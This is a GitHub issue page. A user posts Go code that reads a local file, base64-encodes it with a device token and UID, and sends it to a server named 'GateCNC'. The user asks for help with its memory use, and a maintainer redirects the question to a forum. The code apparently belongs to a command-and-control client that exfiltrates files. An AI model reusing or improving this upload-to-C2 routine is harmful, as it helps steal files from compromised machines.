Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

How can this be improved? #40396

Closed
Dontmindmes opened this issue Jul 24, 2020 · 1 comment
Closed

How can this be improved? #40396

Dontmindmes opened this issue Jul 24, 2020 · 1 comment

Comments

@Dontmindmes
Copy link

@Dontmindmes Dontmindmes commented Jul 24, 2020

`func UploadClientFile(upload string) error { //UPLOADS CLIENT FILE TO SERVERS
var content []byte

content, err = ioutil.ReadFile(upload)
if err != nil {
	return err
}

data := []byte(content)
str := base64.StdEncoding.EncodeToString(data)

res1 := strings.ReplaceAll(upload, "\\", "_")

Base64 := UploadFile{
	Type:   "ClientFile",
	Token:  DeviceToken,
	UID:    UID(),
	UpFile: str,
	File:   res1,
}

RequestBody, err := json.Marshal(Base64)
if err != nil {
	return err
}
resp, err := http.Post(GateCNC, "application/json", bytes.NewBuffer(RequestBody))
if err != nil {
	fmt.Println("Could not connect to website to send dir file ", err)
}
defer resp.Body.Close()

fmt.Println(string(RequestBody))
CommandComplete("3") //COMPLETED

return err

}`

the issue I have with this code is if it reads a big file (5mb and etc and up) memory usage of the program goes up and never comes back down, how can this code over all be improved? I am loading in a whole file using ReadAll in to a string canthis be improved? if so can someone post how? or modify the code, I tried many things. also can the post request be improved too?

@ianlancetaylor
Copy link
Contributor

@ianlancetaylor ianlancetaylor commented Jul 24, 2020

Unlike some projects, we don't use the issue tracker for questions. You will get better and faster answers if you use a forum, as described at https://golang.org/wiki/Questions. Thanks.

When asking the question in a forum, please explain exactly how you are measuring the memory usage of the program. Go is a garbage collected language, so if the heap gets big for a while it will say big for several minutes even if most of the heap is no longer in use.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
2 participants
You can’t perform that action at this time.